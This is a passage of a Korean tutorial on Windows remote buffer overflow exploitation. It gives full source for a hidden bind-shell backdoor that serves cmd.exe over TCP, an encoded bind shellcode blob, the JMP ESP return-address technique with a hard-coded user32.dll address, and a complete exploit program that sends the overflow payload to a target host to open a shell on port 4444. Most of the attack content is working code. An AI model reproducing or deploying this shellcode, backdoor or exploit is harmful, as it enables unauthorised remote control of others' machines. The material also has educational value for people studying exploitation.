        MessageBox(HWND_DESKTOP, "백그라운드로 작동합니다. 포트 : 12345", "알림", MB_OK);


        HANDLE hRead1, hWrite1, hRead2, hWrite2;

        STARTUPINFO si;

        PROCESS_INFORMATION pi;


        SECURITY_ATTRIBUTES sa;

        ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));

        sa.nLength= sizeof(SECURITY_ATTRIBUTES);

        sa.lpSecurityDescriptor = NULL;

        sa.bInheritHandle = TRUE;


        // 소켓 -> read -> hWrite1 -> 파이프 버퍼 1 -> hRead1 -> cmd.exe

        CreatePipe(&hRead1, &hWrite1, (SECURITY_ATTRIBUTES *)&sa, 0);


        // cmd.exe -> hWrite2 -> 파이프 버퍼 2 -> hRead2 -> ReadFile -> 소켓

        CreatePipe(&hRead2, &hWrite2, (SECURITY_ATTRIBUTES *)&sa, 0);


        GetStartupInfo(&si);

        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

        si.hStdInput = hRead1;  // 파이프 버퍼 1의 값을 가져가라.

        si.hStdOutput = hWrite2; // 파이프 버퍼 2로 결과를 저장하라.

        si.hStdError = hWrite2; // 마찬가지.

        si.wShowWindow = SW_HIDE;


        char buf[1024];

        ULONG ByteRead;

                        

        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &length);

        if(client_sockfd < 0)

                Error("accept");


        while(1){

                // 파이프 버퍼에 새로운 값이 들어왔는지를 검사.

                PeekNamedPipe(hRead2, buf, 1024, &ByteRead, NULL, NULL);

                        

                if(ByteRead > 0)

                {

                        ReadFile(hRead2, buf, 1024, &ByteRead, NULL);

                        send(client_sockfd, buf, ByteRead, 0);

                }


                if(length = recv(client_sockfd, buf, 1024, 0))

                        WriteFile(hWrite1, buf, length, &ByteRead, NULL);


                if(length < 1)

                        break;


                // 명령의 실행 결과가 파이프 버퍼에 저장될 때까지의 충분한

                // 지연 시간을 주자.

                Sleep(100); // 0.1초

        }

        closesocket(sockfd);

        closesocket(client_sockfd);

        MessageBox(HWND_DESKTOP, "종료되었습니다.", "알림", MB_OK);

        return 0;

}

==========================================================


cmd.exe의 입출력 대상이 부모 프로세스로 전달되는 점에서 앞의 예제와 동일하다. 하지만,

앞에선 cmd.exe로부터 전달받은 내용을 MessageBox로 출력하였으나, 이번엔 그 내용을 소켓을

통하여 연결된 클라이언트로 전달해 주었다. 마찬가지로 cmd.exe로 전달된 내용 역시 클라이언트로부터

수신된 것이다. 새로 추가된 함수로 PeekNamedPipe()가 사용되었는데, 이 함수는 해당 파이프

버퍼에 새로운 값이 있는지를 확인해준다. 이제 완성된 프로그램을 실행한 후, 텔넷으로 TCP 12345번

포트에 접속하여 cmd.exe와 통신을 해보자.





매우 만족스럽게 작동함을 확인할 수 있다. 이처럼 Windows 환경에서의 Bind Shell Backdoor 구현을

완료하였으나, 진짜 시작은 지금부터이다. 이 프로그램을 기계어로 변환해야 실제 공격에서 써먹을

수 있기 때문이다.


이제 지금껏 작성한 WINAPI 소스 기반으로 컴파일 된 프로그램을 기계어로 변환할 차례이다.

그리고 완성된 기계어를 Bind Shellcode라고 부를 것이다.


가장 쉽게 위 프로그램의 기계어 코드를 얻어내는 방법은 무엇일까? 그것은 바로 컴파일된 바이너리

파일을 디버깅 툴로 OPEN한 후, 그곳에 출력된 OP CODE(어셈블리어 명령에 대응되는 각각의 기계어 명령)들을

그대로 쭈욱 이어서 받아 적는 것이다.


하지만, 이 방법엔 치명적인 문제점이 존재한다. 만약 내 컴퓨터를 A라고 하고, 리모트 오버플로우의

공격 대상이 되는 컴퓨터를 B라고 해보자. 그리고, 앞서 사용된 socket, bind, listen 등의 함수들이

모두 WSOCK32.DLL라는 동적 라이브러리 안에 존재하는 함수들이라는 점을 상기하자. 그럼, 내 컴퓨터

A에서 컴파일 된 바이너리 파일은 역시 내 컴퓨터 환경에 적재된 라이브러리 함수들의 주소를 가리키고

있을 것이다. 예를 들어, A 컴퓨터에 동적으로 적재된 socket() 함수의 주소가 0x74fa353d라고 했을 때,

B 컴퓨터의 socket() 함수의 주소는 0x77777777일 수도 있고, 0x76666666일 수도 있고, 여하튼 A에서의

함수 주소와 B에서의 함수 주소는 다를 수 있다는 점이다. 물론 A와 B의 환경(OS, Service Pack version)이

완전히 동일하다면 상관없겠지만, 그렇지 않을 경우엔 A에서 작성된 Bind Shellcode를 B에 주입하여

실행하게 되었을 때 정상적으로 작동할리가 만무하다.


그럼 이 문제점에 대한 해결책을 알아보자. 단순 무식하게 생각한다면, Target 환경에 맞게 각각의 라이브러리

함수 주소를 그 때 그 때 수정해 주는 것이다. 즉, 위에서 사용된 약 10개의 라이브러리 함수에 대한 OS, SP

버전별 주소 값 모음집이라도 있어야겠다.

하지만, 이건 누가 봐도 너무나 번거롭고 아마츄어틱한 방법이다. 조금 더 깔끔한 방법은 없을까?

다시 말해서 각 시스템의 환경에 맞는 라이브러리 함수 주소를 Bind Shellcode가 자동으로 찾아서 사용하게

할 수는 없을까? 다행이도 라이브러리 함수의 주소를 구해주는 라이브러리 함수가 있기 때문에 가능하다.

다음의 예를 보자.


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        HMODULE hModule;

        void *addr;

        char str[100];

        hModule = LoadLibrary("WSOCK32.DLL");

        addr = GetProcAddress(hModule, "socket");

        wsprintf(str, "address of socket library function : 0x%x", addr);

        MessageBox(HWND_DESKTOP, str, "알림", 0);

        return 0;

}

==========================================================



즉, 위 두 함수만 있으면 모든 라이브러리 함수들의 주소 값을 얻어올 수 있다. 물론 위 두 함수 역시

라이브러리 함수이기 때문에 미리 각 OS 및 Service Pack에 따른 주소 값을 알고 있어야 한다. 하지만,

10개의 함수에 대한 주소를 알아내는 것보다는 위 2개의 함수에 대한 주소를 아는 것이 노동의 시간을

훨씬 절약해 준다.


다음은 최종적으로 완성된 Windows 기반의 Bind Shellcode이다.

(WINAPI -> 기계어 변환 과정과 자동으로 LoadLibrary와 GetProcAddress 함수의 주소를 찾는 방법은

이 문서의 다음 버전에 추가될 예정이다. 다음 쉘코드엔 자동으로 위 두 함수의 주소를 찾는 루틴이 적용되어 있다.)


    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"

    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"

    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"

    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"

    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"

    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"

    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"

    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"

    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"

    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"

    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"

    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"

    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"

    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"

    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"

    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"

    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"

    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"

    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"


8. 리모트 Buffer Overflow - Shellcode와 Return Address의 위치 찾기

리모트 환경에서의 Shellcode 위치를 찾는 방법이라 하면, 흔히 Brute Force를 통한 고전적인 노가다

방식을 떠올릴 것이다. 스택의 가장 끝 부분인 0xbfffffff에서부터 4바이트씩 감소해가며 쉘코드의

위치를 찾아 나가다가, 성공했을 경우 Bind Shell 포트가 열리는 원리이다.

하지만, 리모트 Buffer Overflow 결함을 가진 우리의 취약 프로그램은 단 한번만 데이터를 수신하고

종료되도록 구현 되어 있다. 따라서, Brute Force 공격을 시도할 수 없는 상황이다. 기회는 단 한 번이라는

말이다. 단 한 번에 공격을 성공시키지 못할 경우 더 이상 공격 시도를 할 수 없다. 그럼, 리모트 상에서

취약 프로그램에 주입된 Shellcode의 위치를 찾을 수 있는 방법은 무엇일까? 앞서 로컬 환경에서는

디버거를 통하여 Stack Pointer 값을 얻은 후 이 값을 이용해 쉘코드의 위치를 계산하였다. 하지만,

리모트 환경에서는 당연 이러한 방법이 불가능하다. 여기에선 Jump esp 방법을 이용하여 단 한 번에

쉘코드의 위치를 찾아내는 테크닉을 설명하도록 하겠다.


먼저 이 공격 원리를 이해하기 위하여 취약 프로그램의 주요 소스 코드를 다시 살펴보자.


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        char data[40];

        ... 생략 ...

        closesocket(server_sockfd);

        closesocket(client_sockfd);

        return 0;

}

==========================================================


다음은 위 WINAPI 코드에 대응하는 어셈블리어 코드이다.


==========================================================

00401090  PUSH EBP

00401091  MOV EBP,ESP

00401093  SUB ESP,228 // 선언된 변수의 크기 + 512의 용량이 스택에 할당된다.

... 생략 ...

00401275  ADD ESP,228 // 스택 포인터를 함수가 호출되기 전의 위치로 되돌린다.

0040127B  CMP EBP,ESP

0040127D  CALL dummy2.__chkesp

00401282  MOV ESP,EBP 

00401284  POP EBP

00401285  RETN 10

==========================================================


먼저, 이 WinMain() 함수가 호출된 직후 00401091까지의 명령이 실행된 시점에서의 스택 모양을 구상해 보자.


 [Saved Frame Pointer] [Return Address] [WinMain의 인자들] [...] <-- 스택이 쌓이는 방향

↑EBP

↑ESP


다음은 지역 변수가 추가로 할당된 모습이다.


 [buffer(40)] [Saved Frame Pointer] [Return Address] [WinMain의 인자들] [...]

↑ESP         ↑EBP


다음, 지역 변수가 해제된다.


 [Saved Frame Pointer] [Return Address] [WinMain의 인자들] [...] <-- 스택이 쌓이는 방향

↑EBP

↑ESP


POP EBP 명령에 의하여 Saved Frame Pointer가 꺼내진다.


 [Return Address] [WinMain의 인자들] [...] <-- 스택이 쌓이는 방향

↑ESP                               ↑기존의 EBP는 이쯤을 가리키고 있을 것이다.


RETN 명령에 의하여 Return Address가 꺼내진다.


 [WinMain의 인자들] [...] <-- 스택이 쌓이는 방향

↑ESP               ↑기존의 EBP는 이쯤을 가리키고 있을 것이다.


WinMain의 인자 4개를 해제한다. (4 * 4 = 16바이트)


 [...] <-- 스택이 쌓이는 방향

↑ESP              


이처럼, Return Address가 꺼내어지고, 함수의 인자가 해제되고, 꺼내진 Return Address로 JUMP하는

순간의 ESP 레지스터가 함수의 인자가 저장되어 있던 바로 다음 데이터를 가리키고 있다는 점에 주목하자.


그럼, 만약 공격자가 다음과 같은 공격 코드를 전송한다면 이 ESP가 어떤 의미를 가지게 되는지

눈을 크게 뜨고 잘 보자.


* 공격자의 코드

[dummy(40)][dummy(4)][New Return address][dummy(16)][Bind Shellcode]


* Buffer Overflow 직전의 스택의 모양

 [buffer(40)] [Saved Frame Pointer] [Return Address] [WinMain의 인자들] [...]


* Buffer Overflow 직후의 스택의 모양

[dummy(40)][dummy(4)][New Return address][dummy(16)][Bind Shellcode] [...]


이제 이러한 상태에서 앞서 설명했던 것과 동일하게 스택 포인터의 값이 변경되어 나간다.

그리고 New Return Address로 JUMP하는 시점에서의 스택 포인터 값은?


 [Bind Shellcode] [...] <-- 스택이 쌓이는 방향

↑ESP              


바로 우리의 Bind Shellcode이다.! Return Address 이후로 Bind Shellcode를 연결시키면, 프로그램의

흐름이 변경되는 시점에서의 ESP 레지스터가 이 코드의 시작 주소를 가리키고 있게 된다.

이 얼마나 당연하면서도 놀라운 발견인가?


이제 다음과 같은 한 번에 공격을 성공시킬 시나리오를 구상할 수 있게 되었다.


가)  [dummy(40)][dummy(4)][New Return address][dummy(16)][Bind Shellcode] 형태로 구성된 패킷을 생성한다.

나) New Return address는 JUMP ESP 기계어 코드가 위치하는 주소를 지정해 준다.

다) 그 주소는 적재된 동적 라이브러리(DLL)에서 찾으면 적당하다.

라) 완성된 패킷을 서버로 전송한다.

마) 쉘을 획득한다.


다음은 JUMP ESP 기계어 코드가 위치하는 주소를 찾는 방법이다. 윈도우의 필수 3대 DLL인 USER32.DLL,

KERNEL32.DLL, GDI32.DLL 중에서 찾으면 될 것이다. 참고로 이 파일들은 윈도우의 종류와 서비스 팩

버전에 따라서 내용물에 차이가 있으므로 각 버전에서 구한 JUMP ESP 코드는 역시 같은 버전에서만

적용시킬 수 있다. 따라서, 타겟의 종류 혹은 서비스 팩 버전이 다르다면 역시 그에 맞는 환경에서의

JUMP ESP 코드 주소를 찾아야 한다.

다음은 DLL 파일 내에서 JUMP ESP 코드를 찾는 방법이다.


가) dumpbin /disasm user32.dll > result.txt 명령으로 user32.dll의 내용을 파일로 저장한다.

나) 위 result.txt 파일을 열어서 JUMP ESP에 해당하는 옵 코드인 FF E4를 검색한다.

다) 해당 코드를 찾을 수 없었을 경우 kernel32.dll, gdi32.dll, wsock32.dll 등의 다른 파일을 대상으로 위 과정을 반복한다.

라) 검색한 결과가 위치하는 메모리 주소 값을 받아 적는다.

마) 그 주소를 Exploit에 적용 시킨다.


나는 user32.dll 안의 다음과 같은 주소에서 FF E4를 찾을 수 있었다.

        

        77DE4C28: E8 FF E4 FF FF     call        77DE312C


FF E4의 주소는 1바이트를 더한 77DE4C29가 될 것이다. 이제 이 값을 새로운 Return Address로 덮어버리면 게임 오버이다.


9. 리모트 Buffer Overflow - 공격 테스트

다음과 같은 Exploit을 구현하여 공격 테스트를 해보자.


==========================================================

#include <windows.h>


char shellcode[] = "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"

    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"

    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"

    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"

    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"

    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"

    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"

    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"

    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"

    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"

    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"

    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"

    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"

    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"

    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"

    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"

    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"

    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"

    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        char Attack_String[1000];

        int Ret_Addr = 0x77de4c29;

        int sockfd;

        struct sockaddr_in addr;


        // 소켓 초기화 시작

        WSADATA wsaData;

        WORD Version;

        Version = MAKEWORD(2, 0);

        WSAStartup(Version, &wsaData);

        // 소켓 초기화 끝


        memset(Attack_String, 'A', sizeof(Attack_String));

        memcpy(Attack_String + 44 + 4 + 16, shellcode, strlen(shellcode));


        memcpy(&Attack_String[44], &Ret_Addr, 4);


        if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP))<0){

                MessageBox(HWND_DESKTOP, "Socket error", "알림", MB_OK);

                exit(-1);

        }

        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr("192.168.0.2");

        addr.sin_port = htons(7777);

        memset(&addr.sin_zero, 0, sizeof(addr.sin_zero));


        if(connect(sockfd, (struct sockaddr *)&addr, sizeof(addr))<0){

                MessageBox(HWND_DESKTOP, "Connect error", "알림", MB_OK);

                exit(-1);

        }

        send(sockfd, Attack_String, sizeof(Attack_String), 0);

        closesocket(sockfd);

        MessageBox(HWND_DESKTOP, "공격 완료", "알림", MB_OK);

        return 0;

}

==========================================================


공격에 성공하였다면, 다음과 같이 4444번 포트를 통해 쉘을 얻을 수 있을 것이다.



10. 결론

지금까지 Windows 환경에서의 Buffer Overflow 기술에 대해 알아보았다.

그 결과, ShellCode 구현 방법, Stack의 위치, 함수 인자 처리 방법 등 몇 가지를
제외하고는 기존의 공격 방법과 큰 차이가 없음을 확인할 수 있었다.

따라서, 공격 원리만 잘 이해한다면 FSB, Frame Pointer Overflow 등 다양한 방법을
통한 공격 시도 역시 가능할 것이다.


11. 참고 문서

- Writing and Exploiting Buffer Overflow Vulnerabilities on Windows XP (Peter Winter-smith)

- Phrack 55호 : Win32 Buffer Overflows (dark spyrit)

- Windows API 정복 (가남사, 김상형)

 

from http://research.hackerschool.org/data/WBOF/WBF.htm